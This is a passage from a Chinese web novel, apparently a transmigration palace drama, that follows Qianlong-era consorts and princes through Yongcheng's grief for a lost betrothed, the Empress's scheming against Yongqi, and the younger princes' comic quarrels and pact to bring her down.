她眼泪一滴滴滑落,“你是从额娘肚子里掉下的一块肉,额娘日日想你念你,直到你终于长到六岁了,你能到尚书房了,额娘可以找机会去见你了,而不是平日里数着日子才能逢年过节见你一面。你怨本宫,所以才不愿听本宫的话对不对。” “不然额娘不信你为了一个女人能颓废至今,连同她相似之人都不愿接受了。” 她宁愿相信永珹怨她所以不愿听她的话,也不愿意相信她的儿子对一个女人用情至深。 “额娘,这根本不能混为一谈。”永珹只觉得头痛,怎么额娘突然说起他幼时之事,那些事都过去了,几乎所有兄弟都是这么过来的,他怎么可能会怨额娘。 他只是觉得、觉得这样不好,实在冒犯钮祜禄格格。 可是额娘实在哭得厉害,他上前抱住额娘,“额娘,您别哭了,儿子往后不会再颓废了。” 他平日里并非时时刻刻都在念着他那位未过门的夫人,只是偶尔会想起她罢了。 他是在嫡兄永琏夭亡后不到半年出生的,从明面上看,他是皇阿玛登基后的第一贵子,皇阿玛对他的功课要求严格,待他似跟其他兄弟不同。 他幼时暗暗高兴过好多回皇阿玛对自己的重视,这份重视是其他兄弟都没有的,只有他一个人有。 可在长大以后,他才明白这份重视下的迁怒,皇阿玛会重视他,但绝对不会让他继承皇位。 这就是他在嫡兄逝世后不到半年内出生的代价,或许皇阿玛是觉得他这个第一贵子的身份抢占了嫡兄的福气吧。 永珹敛下心里千万思绪,也就是在明白过来皇阿玛对自己的怨恨后,他遇到了钮祜禄格格。 “你说真的?” “真的!”永珹就差并拢双指对天发誓了,他笑嘻嘻道:“额娘,您看您儿子像是要为一个女子要死要活的模样吗?” 嘉妃深深看了他一眼,换做是从前,她不信。 现在却不得不信了。 她轻轻推开大儿子,“永珹,你不必在额娘面前强颜欢笑,你是额娘儿子,当娘的会看不穿自己儿子?你说的话是在哄本宫吧。” 永珹差点维持不住笑容,在额娘直白的注视下,他笑容慢慢消散,“额娘,儿子也不愿的。” “儿子八岁时遇到钮祜禄格格,你让儿子怎么忘掉她!” 他是被皇阿玛早早放弃的儿子。 钮祜禄格格也是被她阿玛早早放弃的女儿。 皇阿玛不缺儿子,阿里衮也不缺女儿。 皇阿玛有十二个儿子,阿里衮也有十二个女儿。 他颓废般道:“她是阿里衮的庶出女,她亲生额娘早早离世,额娘,你让我怎么不心疼她,我第一次偷溜出宫,就遇见了她。我们俩不是你眼中的素未谋面,甚至这门婚事也是我特地向皇阿玛求来的,额娘,她是另一个我啊。” 嘉妃被他这话镇住了。 她从不知道自己性子爽朗的儿子心里藏着这么多的难受,“额娘在呢。” 她拍着自己儿子后背,永珹抱着她,哭得无法自抑。 “儿子想拒了皇阿玛后来赐的这门婚事,可是皇阿玛没有跟我说过,伊尔根觉罗格格已经定下是儿子的嫡福晋了,若是儿子悔婚,她会活不下去的,儿子已经对不住伊尔根觉罗氏了,儿子不能再对不住其他女子,更不能对不住钮祜禄格格。” 嘉妃心里叹气,“额娘不逼你了。” 她心疼之余只觉得茫然,都说爱新觉罗氏出情种,可她看太宗和世祖之后,再无痴恋一个女子的爱新觉罗氏,在圣祖时,圣祖爷偏爱宜妃,先帝也偏爱敦肃皇贵妃,但也只是偏爱,没有为了一个女人要死要活的劲。 在今朝,她看到万岁爷风流多情,以贵妃娘娘的姿容都没法让帝王倾心,她以为爱新觉罗氏痴情种已经断绝了,但怎么会在她儿子身上重现,以万岁爷的风流多情,这不应该啊。 她心里颤了一下,拍着儿子后背,“永珹,等伊尔根觉罗氏进门后,咱们就好好过日子好不好,咱们不多想了。” 永珹良久才缓缓点头,“额娘,儿子听您的。” 他不能对不住另一位福晋了。 …… 嘉妃很快将两位宫女调去别处。 左右是宫里的包衣奴才,并非大选秀女,不然她还真不好处置了。 她想了想,就她儿子如今的颓废劲,跟三阿哥有得一拼了。 她们妃位的子嗣怎么总是命途多舛。 贵为皇子阿哥又如何,一个在娘胎里没了,一个似永璋突然没了心气,还有一个是她大儿子,为了一个她未过门的儿媳妇魂不守舍。 她也算是接受自己儿子不愿碰其他女人,只想守着伊尔根觉罗氏过日子的心思了,她想着,至少皇上赐婚了,这就代表她儿子被伊尔根觉罗氏吊着命,不然就她儿子这副痴情劲,她真怕儿子会毙命。 景仁宫后殿寝宫亮了一夜烛火,待破晓时,嘉妃才沙哑着声音道:“传四福晋进宫吧。” 有些事,她得跟伊尔根觉罗氏讲清楚,若是夫妻感情好,永珹迟早会过心里这关的吧,总不能真的一辈子都忘不掉钮祜禄氏。 嘉妃擦了擦眼角的泪,爱新觉罗氏代代情种就没有在女子离世后好好活下来的,她怕她儿子真的死了。 不管她有多少个孩子,永珹是她第一个孩子,是她从潜邸使女变成皇上妃嫔后让她在宫里说话有了底气的孩子,永珹的到来让她不再苦苦盼着帝王宠爱,她知道,不管她将来有没有恩宠,她都能在宫里立足了。 永珹是她的命。 两个时辰后,伊尔根觉罗氏来到嘉妃面前,嘉妃道:“不必给本宫请安,本宫只想跟你说一件事,就当是听听我这个当娘的心里话吧。” “是,嘉妃娘娘。” 伊尔根觉罗氏注意到奴才们都退下了,心里愈发紧张了,她怕嘉妃娘娘说的话是她应付不来的。 嘉妃沙哑的声音缓缓升起。 伊尔根觉罗氏慢慢听着。 手中的帕子几度扭紧,终是忍不住问道:“原来四阿哥早就有心上人了,可我算什么?” 她也有自己的骄傲的,有哪个女孩在未进门之时就得知自己未来夫君有了一个难以忘记的心上人,不恨不恼。 可她好似怨不得四阿哥,因为在她之前,本就是这位钮祜禄格格成为四阿哥嫡福晋的。 嘉妃心里酸涩难言,“算上天捉弄,本宫只求你好好跟永珹过日子,只有你们两人,可好?” 伊尔根觉罗氏心里茫然,一个皇子嫡福晋要是知道丈夫婚后只有自己一个 人,执手共度后半生的日子,必然是满怀期待,但是如果两人之中还掺杂了一个死去的永不可逾越之人,那这份期待就会降至谷底。 可是,这门婚事是万岁爷赐下的。 伊尔根觉罗氏将自己对四阿哥的期待降至最低,心道嫁谁不是嫁,一个只守着自己的丈夫远比那些婚前婚后纳妾十多个的丈夫好,至少爵位能确保无误传给她孩子。 况且女子婚事自有父母之命媒妁之言,她的好些闺中姐妹在成婚后不见丈夫只守着自己一个人,她这算面子情有了吧,她何德何能让四阿哥只守着自己一个人过日子啊。 伊尔根觉罗氏极力劝说自己。 “好,只是嘉妃娘娘,我有一事想求。” “你说。” “若是圣上赐下侍妾,还望您拦着些。” “自是如此。” 这对未来婆媳在此时默契许下承诺。 等伊尔根觉罗氏一走,嘉妃挺起的腰一软,“永珹真是作孽啊,皇上也真是……” 话到嘴边咽了回去,当宫妃的始终是没胆说万岁爷的,但是永珹这关,往后应该会过了吧。 …… 长春宫,皇后眉心紧蹙,“完颜氏和王佳氏被退回去了?以嘉妃的性子,居然不逼永珹接受那两位女子。” 而且永珹会是这般痴情的男儿?遇上两个跟钮祜禄氏相似的女子居然不心动。 准备了两年的计划落空,皇后再好的脾性也得生出几分不耐。 上次对付永璋那招实在好用,只是永珹不上当,再好的招数也得作废。 “娘娘,或许四阿哥现在已经废了也说不定。” “仔细说说。” “若是四阿哥连跟钮祜禄格格相似的女子都接受不了,那足以证明四阿哥对钮祜禄格格一往情深,情深不寿,也注定四阿哥和四福晋成婚后,这日子不会太快活。” 皇后沉思,“的确有这种可能,本宫先看着吧。” 若是不用动手就看着一个阿哥被废了,她还盼着多来几次这种情况。 只是她在宫里,最不信的就是自以为是。 永珹这边还得另想法子了,先放着不管一段时日,往后等想到别的办法再说。 她注意到永琪最近展露风头了,永琪似乎尤其擅长读书。 跟年少时的万岁爷一模一样。 万岁爷六岁启蒙,十四岁能单独做文章,四书五经倒背如流,可这还是万岁爷尚未被先帝重视时自觉地对读书之事上心的结果。 等先帝注意到万岁爷后,短短几年,万岁爷便文武双全,熟稔满汉蒙三语,弓马骑射无一不在话下。 遍观万岁爷子嗣,先前只有永琏能跟得上万岁爷进度,庶子之中并无格外出彩的,可等永琪长大以后,她方觉自己错算了一人。 永琪文武双全,博学多才,少习马步射,满汉蒙三语皆通,这还是在万岁爷没有精心培养的前提下,便有了万岁爷年轻时的风采了,等永琪成长下去,她不敢想象永琪会变成什么样。 是她的永璂比不过的天资。 皇上一旦注意到永琪,永琪必然一飞冲天。 皇后缓缓地吐出一口气,永琪必须要除之而后快。 …… 宫里再多惆怅事只要宫外一件喜事,便将一切不喜都冲洗得一干二净。 娘家人来信说小弟跟戴佳格格选好成亲日子了,魏紫菀将那封信看了好几遍,心里快活极了,真的太好了,有情人终成眷属,尽管她小弟之前跟戴佳格格并没见过面。 可是他们俩早早了解过对方,为彼此心动过,这也算是一种有情人吧。 小弟和弟妹在一起真的太好了。 魏紫菀心情快活,看向周围的一切仿佛带上了滤镜,这算不算避免了戴佳格格进宫为妃的结局。 她知道戴佳格格如果进宫,便是那日后的忻贵妃,出身贵重,并且年轻貌美,于宫中妃子而言是个挺大的威胁,尤其对她这位明面上的宠妃。 可如若戴佳格格真的入宫为妃,她并不忌惮,即便这在原身记忆中,忻贵妃是能威胁到原身的存在。 忻贵妃的一生,着实多磨难,阿玛早早离世,自己进宫接连生下两位公主,看似盛宠,可盛宠之下很快就怀上了第三个孩子,可随之而来的就是难产一尸两命。 她对忻贵妃起不了任何忌惮,也着实为她感到难过。 毕竟这是她能够接触到的人,实实在在的并非史书上的几行字,可是如今,戴佳格格的命运改变了,和她弟弟在一起了,还是她亲手凑成的一对夫妻! 想想都觉得美好。 反正万岁爷已经没了从娴妃肚子里出来的十二十三阿哥,往后也不会有从她肚子里出来的十四十五十六十七阿哥,少了从忻贵妃肚子里出来的两位公主又如何,万岁爷消失的子嗣已经够多了,再凑两个也无碍。 与其看着两位公主在宫中走向注定夭折的命运,不如在她们魏家快快活活的活着,她们家别的优点不多,就是特别宠孩子!特别是女孩儿! “娘娘怎么这般高兴。”婉嫔眉眼弯弯,她刚出养和殿便看见娘娘喜笑颜开,不免也觉得开心起来了。 魏紫菀将信递过去,她娘家人给她的信没什么见不得人的,而且这是她自己人。 婉嫔看过后也释然一笑,“果然是极好的消息。” 两家人门当户对,贵妃娘娘弟弟能娶一个好夫人,戴佳格格也能嫁给一个好夫君,这确实是实实在在的喜事。 第97章 第97章兄弟 阿哥所,永璇好久没跟几个兄弟聚在一起了,一时间不免有些想念七哥九弟他们。 打小跟在他身边的老嬷嬷弯了眉眼,“八阿哥若是想念七阿哥他们,不若去找他们。” “只是额娘……”永璇捏着眉心,要是额娘知道他总是跟七哥他们接触,必然闷闷不乐。 前两年七哥和九弟被赐婚后,额娘还想着让他多跟两个兄弟交好,但是现在却让他防着所有的兄弟,不让他跟任何人接触。 他想不通额娘是怎么想的,但他清楚额娘不可能会害他。 “这又何妨,八阿哥,奴才帮您打掩护,您想去找几位阿哥玩多久都无碍。”老嬷嬷笑道,“奴才只想看着您开开心心的。” “嬷嬷……可要是让额娘发现,额娘必然会罚你的。”永璇心动极了,但再心动,又怎会忍心让从小到大伺候自己的老嬷嬷受罚,嬷嬷在他心里不是奴才,是他的亲人。 “八阿哥不必多说,奴才想做的事您难道还能拦着奴才,您只管去出宫吧,剩下的事都交给奴才,奴才可是听说今日七阿哥九阿哥和十一阿哥都出宫了,他们兄弟感情好,您跟他们兄弟感情也不差,但再好的感情,若是不经常在一起说说话,总会被他们落下的。” 永璇心想也是,他已经被七哥他们落下好多回了,三哥跟大哥、四哥感情好,五哥对所有兄弟一视同仁,两耳不闻窗外事,一心只读圣贤书,在五哥心里,兄弟可不如他手上一本书重要。 六哥更是奇葩,前几年迷上了奶茶,这两年又喜欢上了果茶,就跟五哥一样,手上有了奶茶果茶,眼里就没有其他兄弟了。 总结而言,大哥三哥四哥因为到了年龄出宫建府,跟他合不来,五哥六哥各自有自己的事情干,更是跟他合不来,唯有七哥是最好的哥哥,有什么好东西总会想起他这位弟弟,还有九弟、十一弟虽然不算是极好的弟弟,甚至有时候还会跟他抢七哥,但平时两位弟弟对他还算不错,会带着他出去玩。 十二弟——永璇不愿细想这位嫡子,嫡子在宫里的身份跟他们庶子是天差地别的,不管皇阿玛有没有重视嫡子,只要皇额娘稳坐后位,以皇阿玛对皇额娘的敬重,嫡子必然高人一等。 他不想被七哥他们落下,感情一旦生分了,以后就再难恢复到从前了。 “嬷嬷,你随爷一起出宫吧。” 私心作祟,永璇终是抵抗 不了跟兄弟们相聚的诱惑,但是他绝不可能将嬷嬷落下来,让嬷嬷直面额娘的质问。 嬷嬷心里惊喜,“奴才不会扰着八阿哥吗?” “嬷嬷待爷的真心,爷一直都明白。”永璇发自内心道:“往后若是没有外人,嬷嬷直接叫爷永璇吧,若是没有嬷嬷,爷身体不会这般好。” 额娘说他和妹妹打小生下来便身体极其虚弱,是她找来了嬷嬷才将他们兄妹俩的身体照顾好。 如果说额娘对他们兄妹俩是生恩,那嬷嬷对他来说就是养恩了,对妹妹来说,也是养恩,只是现在妹妹归谦太妃抚养,嬷嬷对妹妹是半个养恩吧。 永璇心里对生恩养恩这笔账算计得一清二楚,就如同他只把七哥九弟十一弟当作自己的亲兄弟一样,其他兄弟对他而言更像是挂名兄弟。 “有八阿哥这句话,奴才这辈子就不算白活了。”老嬷嬷真心实意道,不知何时流了泪,两条泪痕在那张褶子脸上尤为明显。 永璇安慰道:“都说嬷嬷不必跟爷见外了。” 他拿出帕子给嬷嬷擦泪,这一幕不像是主仆,像是祖孙。 永璇很快带着嬷嬷上马车偷溜出宫。 在出宫前禀告皇阿玛一声,至于额娘那里,他打算回来后再向额娘负荆请罪,额娘要打要骂到时再说,他先赴约了,开心一会是一会。 哲王府上,永琮听到下人禀告八弟过来了,赶紧让人将八弟带过来。 “等等,还是爷去迎接吧。”难得八弟主动来找他,他肯定要让八弟感受到兄长的热情! 永瑆挨着永璐,“七哥,八哥又不是不会走,让他自己进来啊,你去接他那才是跟他见外。” “是啊,七哥。”永璐睁眼说瞎话,“当时你这府邸建好了,都没见你主动接我和永瑆进去,你这会儿去接八哥,未免太不讲兄弟情了吧,我们可是结义兄弟!” 永琮眼皮狂跳,“都几年前的事了,还拿来说。” 他都不想面对过去这些陈年旧事了,都是亲兄弟,还要结拜,这说出去保准让人笑话他们。 永瑆撇了撇嘴,“小爷就知道七哥肯定最早忘事。” 永琮并拢屈起手指,笑容如沐春风,温柔地在永瑆额头上敲了嘣嘣响的三下。 “嗷!七哥好疼的!” 永瑆捂着脑袋嗷嗷叫。 永琮微笑道:“七哥不疼。” 永瑆怒目圆睁,“七哥你当然不疼,疼的是你的十一弟。” 永琮收回手指,一双丹凤眼睑裂细长内窄外宽,眼尾上翘,微微一笑,好一位俊美无俦的公子哥,“不是你说爷疼吗,爷只是真诚告诉你爷不疼罢了。” 说罢便出去接八弟了。 永瑆望着他背影嘀咕道:“九哥,你有没有发现七哥越来越阴险狡猾了?” 永璐皱眉,“你在说我七哥坏话?嗯?永瑆,你是不是忘了从小到大对你最好的哥哥是谁了?” 永瑆拼命摇头,“没有的事!从小到大对我最好的哥哥是七哥,我当然不会忘!” 永瑆心里憋闷,但是道理不能一概而论啊,七哥是他最好的哥哥这事跟七哥这些年变得阴险狡猾了有什么关系! 他意图为自己辩解,“九哥,你可不能冤枉我,我就是说七哥跟过去性子不一样了。” 永璐沉默了,疑惑极了,“哪儿不一样了,不还是那副模样吗?从小到大七哥就是为人爽朗的好男儿啊。” 永瑆无言以对,九哥怎么会这么想七哥,九哥和七哥可是从小一起长大的!怎么还看不透七哥的本性。 他忍无可忍,“九哥,可是之前七哥将说了他坏话的大臣套麻袋揍了。” 永璐不解,“这不对吗?那大臣都说到七哥头上来了,七哥出气理所当然!” 好,他忍! 永瑆继续问道:“可是之前大哥偷拿了七哥囤的酒,七哥带着两位侄儿去将大哥的字画都弄来了,这不对吧。” 永璐愈发不解了,“十一弟,大哥先犯的错,七哥不过是让大哥长教训罢了。” 好好好,他继续忍! “可是你刚才不是说七哥是个爽朗好男儿吗?” 永璐理所当然道:“七哥是为人爽朗啊,但是有哪个好男儿吃亏了还继续忍,忍下去了那都不是爽朗心性了,当缩头乌龟更好。” 永瑆诡异地被说动了一丢丢,但是、但是仔细想想还是太奇怪了。 虽然七哥长相俊美,走路有君子仪态,对外为人做事十分周到,对内有时候阴险狡诈,会给人套麻袋,但那是因为对方实在恶毒,让风度翩翩的七哥被逼无奈动用阴险手段对付那人。 可是,他一开始认识的七哥是个很活泼温柔的七哥啊,绝对不会像现在这样敲他脑袋瓜的。 而且这些年来,七哥不管对上年长的兄长还是年幼的兄弟,都不曾落下风,还次次让人挑不出毛病。 就比如大哥偷了七哥亲手酿的酒那一回,七哥是引导两位侄儿去偷了他们阿玛的字画,但这事追根究底与七哥无关,毕竟动手的不是七哥。 还有给大臣套麻袋那一回,大臣被揍了一顿丢在一个小巷里,还是七哥亲自解救了那位大臣,从此让那位大臣将七哥视作救命恩人。 但仔细说来,这事也不怪七哥,毕竟七哥从没承认过自己是那臣子的救命恩人,都是那臣子自以为是,怪不得七哥。 永瑆想了半天,总感觉七哥无辜,但是直觉告诉自己想得没错! 所以!七哥果然是变得阴险狡猾了吧! 不不不,那些事怪不得七哥,是那些人太过狡猾,才让七哥不得不以直报怨的。 “永瑆,你在想什么?你八哥来了。” 永琮身后跟着情绪激动的永璇,永瑆抬眼一看,八哥好瘦啊,伤眼睛,他目光顺其自然落在七哥身上,一下子舒服多了。 果然七哥是京城第一美男子!剑眉星眸、气宇轩昂、貌若潘安、温文尔雅、长身玉立……他看了这么多年都不带腻的。 永瑆心里满意地点点头,“七哥,您坐,让弟弟来招待八哥就好。” 永璇不满蹙眉,“永瑆,你别说得你好像才是这府上的东家。” 永瑆不当一回事,“七哥的就是我的,我的就是七哥的,咱们兄弟,谁跟谁啊。” “那照你这么说,下回就换我跟七哥同砚吧。” “不行!”永瑆永璐异口同声。 他们俩兄弟可是轮流跟七哥同桌的!再加入一个永璇,那还得了。 永璇冷哼一声,他就知道这两兄弟是想瞒着他偷偷跟七哥好,好在他及时偷溜出宫,没让这对兄弟得逞。 “你们果然不怀好意,好在我出宫了。” “什么叫做我们不怀好意,我还没说你不怀好意呢。”永璐被他气笑了,一只脚踩在椅子上,撸起袖子打算跟他瞎扯。 永瑆也想做出跟九哥一样威风的举动,但他迈开脚试了一下,他腿短,迈不到椅子上,容易被人笑话,他想了想,干脆站在桌子上,比九哥威风,还能掩盖住他身量不高的事实。 他费力爬上椅子,再站到桌子上。 永璐永璇两兄弟见此,突然就没了争吵的兴致,总感觉他们兄弟俩正儿八经的吵架,加上十一弟这个稚儿,显得他们太不正经了。 永璐眼皮狠狠一跳,“十一弟,你下去,别来丢哥脸面。” 永璇添油加醋,“是啊,永瑆,你回去喝奶吧,你这小短腿还敢俯视我们。” 永瑆目瞪口呆,“九哥,我是来帮你的,你居然敢嫌弃我,还有八哥,你说谁腿短啊,我还没嫌你瘦得跟竹竿似的。” 永璐:不是,谁要你帮了,你知不知道你三头身踩在桌子上,格外丢脸啊,爷居然要一个奶娃娃帮爷吵架。 永璇高高扬起的嘴角慢慢抚平,说谁瘦得跟竹竿似的,这十一弟到底会不会说话!他这叫身材修长!七哥都说了他以后慢慢养着会长出肉的!会长出来的! 永琮在旁就看着这三位兄弟闹,在他眼里,八弟九弟都是半斤八两,谁都别说谁,能因为一点小事吵起来,跟十一弟有何区别。 他淡淡抿了口茶,这茶果然香醇,要是没有三兄弟的吵闹就好了。 永琮正感叹着,一旁急红了眼亲自动手的三兄弟你一拳我一脚,偶尔往对方脸上咬一口,意图让对方破相被人嘲笑,从而没脸待在七哥身边。 突然不知谁打着打着往永琮这边偏移了,永琮眼看着自己刚赞赏过香醇浓烈的茶水被某人一巴掌拍过去掀翻了。 他沉默了,笑意渐渐消失。 三兄弟听到茶杯掉落在地破碎的声音,一下子僵住了。 永璐缓缓回过头 来,“七、七哥。” 永璇不敢回头,怕自己回头看到无法接受的事,刚才好像是他不小心掀翻了七哥茶杯的。 永瑆吞了口唾沫,心里只想着一件事,要是他现在跪地求饶,七哥是不是就会少敲他几个脑瓜子。 永琮站起身来,面无表情,三兄弟吓得魂飞魄散。 永璐最直接,“哥、哥,弟弟不是故意的!” 永琮笑道:“你叫哥哥也没用。” 永瑆咬咬牙,一膝盖跪下去,“七哥,我错了,要怪你就怪八哥九哥吧,都是他们先吵起来的,我还小,我根本不懂事,我是被他们逼着站队的!” 永琮笑道:“永瑆,七哥教过你吧,男儿膝下有黄金,你随便就对七哥下跪,是忘了七哥的教诲?” 永璇见两兄弟都被七哥怼回去了,不敢开口了。 永琮含笑道:“看来八弟是胸有成竹了,竟一句话都不说。” 永璇心里苦,他这说话不对,不说话也不对,人家点头落地都不带这么折磨人的。 …… 永璇这一趟出宫被迫罚抄三十遍功课。 没法高兴起来。 但是七哥还请他吃饭了,果然七哥心里还是有他这位弟弟的。 永璇还没高兴太久,刚回宫,额娘便派人过来了。 他眉头无意识蹙起,“知道了,爷过会再过去。” 嬷嬷在旁道:“都怪奴才,若是奴才留下来帮八阿哥打掩护就好了。” “这怪不得你。”永璇捏着眉心,是他带嬷嬷出来的,又怎么能怪她老人家。 只是额娘随时随地要将他放在她眼皮底下,让他疲累不堪罢了。 他不明白,宫里有子的娘娘都不似额娘这般管着自己子嗣。 四妹去寿康宫住下,额娘管不了,便一心一意管着他了。 可他大了,迟早有一日要成家的,难道那时,额娘也时时刻刻插手他的后院吗。 咸福宫,永璇低头行礼,“儿子给额娘请安。” 慧妃看了他许久,方才让他起身。 她轻声问道:“额娘不是吩咐过你最好别接触你那些兄弟吗?你出宫还不告诉额娘一声。” 永璇试图解释:“额娘,七哥他们对儿子很好的,儿子出宫只是不想让额娘担心,等儿子回宫后,儿子自会向额娘解释。” “若非本宫主动找你,你怕是不会将这事告知本宫。”慧妃淡淡道,“你果然长大了,都不愿意跟额娘亲了。” “儿子没有。” “有也好,没有也罢。”慧妃看着他身后的老嬷嬷,知道这人心大了,敢纵容永璇出宫,“来人,将这个刁奴送去内务府——”“额娘,你想做什么?” 永璇心里忍无可忍,“是儿子想出宫,并非嬷嬷的错。” 慧妃定定看了他好久,“永璇,你从前不是这样的,你是天下最孝顺的儿子。” “儿子现在也是孝顺额娘的儿子。” “你要是孝顺额娘,就不会不听额娘的话。” “额娘,儿子孝顺您跟听您的话是两回事——儿子并非没有听您的话,只是有些事情,儿子并不愿您过多猜想。” 永璇温声道,“您是儿子亲生额娘,儿子怎么会不孝顺您。” 慧妃终于平复心里怒气了,她最忌讳她竭尽全力抚养长大的儿子逃脱她掌控,好在她这个儿子始终是向着她的。 只是以往没发现跟在永璇身边的嬷嬷居然心大了。 第98章 第98章兄弟结盟 不然这人怎么眼看着永璇出宫不派人告知她,还跟着永璇一起出宫。 想起过往这人的举动,慧妃总算意识到问题了,从永璇幼时起,老嬷嬷便一直跟在龙凤胎身边帮他们调养身子,心里生出些不该有的妄想似是正常。 有些奴才是妄图让主子将自己当作亲人看待,唯有这样,才能在主子身边得到最好的待遇,并且一人得道,鸡犬升天。 慧妃扯了扯嘴角,放在自己眼皮底下的奴才,她居然现在才意识到问题。 “永璇,你让额娘不怪罪她也行。”慧妃笑了笑,“本宫记得嬷嬷也到了年纪出宫,你若是放心额娘,就将嬷嬷送出宫安养晚年吧,额娘保管让她日子过得顺心如意的。” 老嬷嬷身子抖了一下。 永璇摇头,“额娘,既然嬷嬷已老,让她跟在儿子身边无碍,儿子不会亏待她的。” 他明知道嬷嬷只剩一对年纪同他一般大的孙子孙女,怎么忍心让嬷嬷出宫,嬷嬷还需要宫里的银钱,况且额娘方才还想着罚嬷嬷,他要是放心额娘安排嬷嬷出路,那才奇怪。 老嬷嬷心里松了一口气。 慧妃脸色更冷了,扫了她两眼,也算是确凿无误这个奴才心大了。 …… 三兄弟仍在哲王府上。 永琮在教训完三个弟弟后取来自己藏的美酒。 三人年纪不大,也不爱喝酒,年幼时尝了这东西完全是辣舌头的,又苦又涩,现在长大了喜欢弄点美酒放在碗里充当脸面。 太过要脸的下场只剩一个,三兄弟迟迟不喝面前的美酒。 永琮试图转移话题,“四哥怎么样了?” 永瑆嫌弃道:“跟从前一样,好像是抱着额娘痛哭一场了,好丢脸啊,我像他这么大时,就没哭过。” 永琮愣了一下,差点听不明白他说的是什么话。 永璐直接问了,“你像他这么大时?你现在还没活到四哥那把年纪吧。” 永瑆脸红了,“你听错了,小爷说的是等小爷像他那般大时,肯定不会像他那样丢脸大哭。” 永琮敲了他脑瓜子一下,“行了,别贫嘴了,四哥怎么说。” 永瑆挠了挠脑袋,“四哥说都听我们的,他不想被人白白算计。” 永璐神色焦虑,“既然这样,咱们兄弟齐心协力,拉她下马不是问题吧,只是我总怕我们人微言轻。” “怕什么,天塌了还有我。”永琮端来酒水一口灌下给自己壮壮胆。 两年前从额娘口中得知皇后在算计他们兄弟,他和九弟的婚事定下来了,虽然这样防止皇后对他们动手了。 可他思来想去心里这口气出不来。 他这些兄弟有哪个想跟嫡子争皇位的,皇后凭什么算计他们。 坐上那个位置太累,还会孤家寡人,为权力面目全非。 瞧瞧皇阿玛现在的模样,就知道这帝位着实惹人烦,大权在握又怎么样,但底下儿子大多不将皇阿玛当爹,只当君王,而且庶母太多他几乎都认不清谁是谁。 他还觉得皇阿玛对额娘所谓的宠爱太过虚假,若是真心疼爱,又怎会年年都纳新人,好似即便额娘长着最好看的容貌,也只是皇阿玛三千佳丽其中之一,不值得一提。 永琮敛思。 皇阿玛今朝不允许兄弟接太妃出宫赡养,贵玛嬷才一直留在宫里,没法随五叔出宫,若是他们兄弟中有人继位,必然会默许太妃出宫。 到时他将额娘接出宫赡养,他保管让额娘每天吃香喝辣,想做什么就做什么,额娘平生困在宫里多没意思。 所以不管是出于兄弟情还是对额娘的孝顺,他都得将皇后拉下水,他只信自己从小培养感情的兄弟,不信皇后嫡子。 “爷跟大哥最先商量过这事,只是一直没跟三哥说,三哥那模样已经完全丧 失斗志了,但孩子没了这事,再度打击到了三哥。“永琮摊开手,“所以既然三哥能一而再再而三被打击到,我怕他继续颓废下去可能不想活了,就干脆跟他说了,四哥那就简单了,他没被那位算计成功,事后必然会想清楚是怎么回事。” 永琮笑了笑,“爷额娘说过一句话,倘若一个人处处都与自己想要的心上人一个模子里刻出来的,那必然是上位者设下的圈套,俗称美人计。” 永璐:“谁叫四哥脑子没这种事,自然没法上当。” 永琮:“大哥、三哥和四哥加上我们确实够了,但要是还有五哥、六哥他们就好了。” “不告诉八哥吗?”永瑆喝了口酒,眉头皱得能夹死苍蝇。 “永璇身子弱,没必要告诉他。”永琮担心刚告知永璇,就立马被慧妃知道了。 慧妃对永璇的掌控不是一日两日的事,除非永璇摆脱慧妃掌控了,不然还是别掺和进这种事了吧。 永璐看穿兄长心思了,“五哥和六哥要怎么拉拢?” “六哥……就看三哥怎么说的吧,要是他这位同母兄弟都没法说服六哥,那就没必要说了。”永琮摇头,六哥在他们兄弟中也算是数一数二的奇葩,两耳不闻窗外事,整日懒散,只喜欢顺着自己性子行事。 “五哥呢?”永瑆偷偷看了眼七哥面前摆着的空碗,悄悄将那空碗挪过来,再将自己满满当当的酒水推过去。 永琮瞥了他一眼,任由他小偷小摸,“五哥就跟他直说好了,五哥又不是像八弟那样什么都听自己额娘的。” 永璐暗暗腹诽,所以说什么八哥身体弱不好告诉他,完全是借口吧,这摆明是不放心八哥。 “说不定咱们之中,有能力够着那个位置的人会是五哥。”永琮笑了笑,以五哥的好脾气,到时候他让五哥给他封一个逍遥王爷当当,正好方便他带额娘走遍大江南北。 永璐看了眼兄长,心里欲言又止,他怎么觉得事情不会这么发展呢,别的不说,七哥从小到大笃定的事就没一件成功的。 不过这种事就没必要说出来扫兴了。 他们兄弟几个齐心协力,总会有办法将皇后拉下后位,总不能让皇后算计他们兄弟,他们却无一人能反抗。 说来也可笑,他们兄弟中连最幼小的永瑆都明白唇亡齿寒的道理,可是皇后怎么就不明白。 如果他们兄弟全都出事了,皇阿玛就不会怀疑到皇后身上了吗? 至今大清还没有以嫡子身份继位的储君,皇后该对付的不是他们兄弟,而是皇阿玛。 说句不大孝顺的话,等皇阿玛老了,威胁到他的必然是最有可能继位的皇子。 第99章 第99章第一更 也就是皇后处心积虑想要送上皇位的嫡子。 相比之下,他们这些表现平庸的皇子就不值得一提了。 害人终害己,皇后跟皇阿玛夫妻多年,也该悟透皇阿玛性子了,皇阿玛平生最忌讳有人算计他的东西。 皇位有何好觊觎的,跟自己兄弟、额娘、姐妹离心了就开心了? 皇后既然做出这种事,开弓没有回头箭,他们兄弟绝不认栽! 过往是九子夺嫡,今朝得是九子结盟。 说实话,没有人不喜欢万万人之上的权力,可是兄弟们打小跟亲生额娘分开,一起生活在阿哥所,没有皇阿玛和额娘的关心,兄弟们的关心就尤显重要了,为了皇位舍弃掉他们的兄弟情,很不值得。 而且活成皇阿玛那样儿子防一防、兄弟防一防,妃子防一防,偶尔心血来潮也防一下亲生额娘,听着就累。 他和七哥可是这辈子最要好的兄弟,还有十一弟,勉勉强强再加上个八哥,还有大哥三哥四哥五哥六哥。 嫡子就算了。 人短短一辈子,有来自母亲、兄弟姐妹的亲情,往后还有妻子儿女的陪伴,衣食无缺,这辈子算是不白活了。 永璐想罢,下意识端起酒水往嘴里一塞,下一刻酒水喷溅四射! “永瑆,你老实交代,你对我这碗酒水做了什么!” 永璐皮笑肉不笑,他但凡出事,必然少不了永瑆的捉弄。 永瑆自觉大事不妙,往后一退,将七哥护至身前,“冤枉啊,九哥,你又没看到我动手,你怎么就认定小爷了!” “你这不是废话吗?在场只有你和七哥,可七哥怎会做出这种恬不知耻、卑鄙无耻、厚颜无耻、狗仗人势的衣冠禽兽才做出来的事,七哥可是高风亮节、光明磊落、正气凛然、襟怀坦荡的大清巴图鲁。” 永琮眉头一跳,很不想让自己跟永璐口中的‘恬不知耻、卑鄙无耻、厚颜无耻、狗仗人势的衣冠禽兽’的永瑆作比较,即便永璐后半句话夸他了。 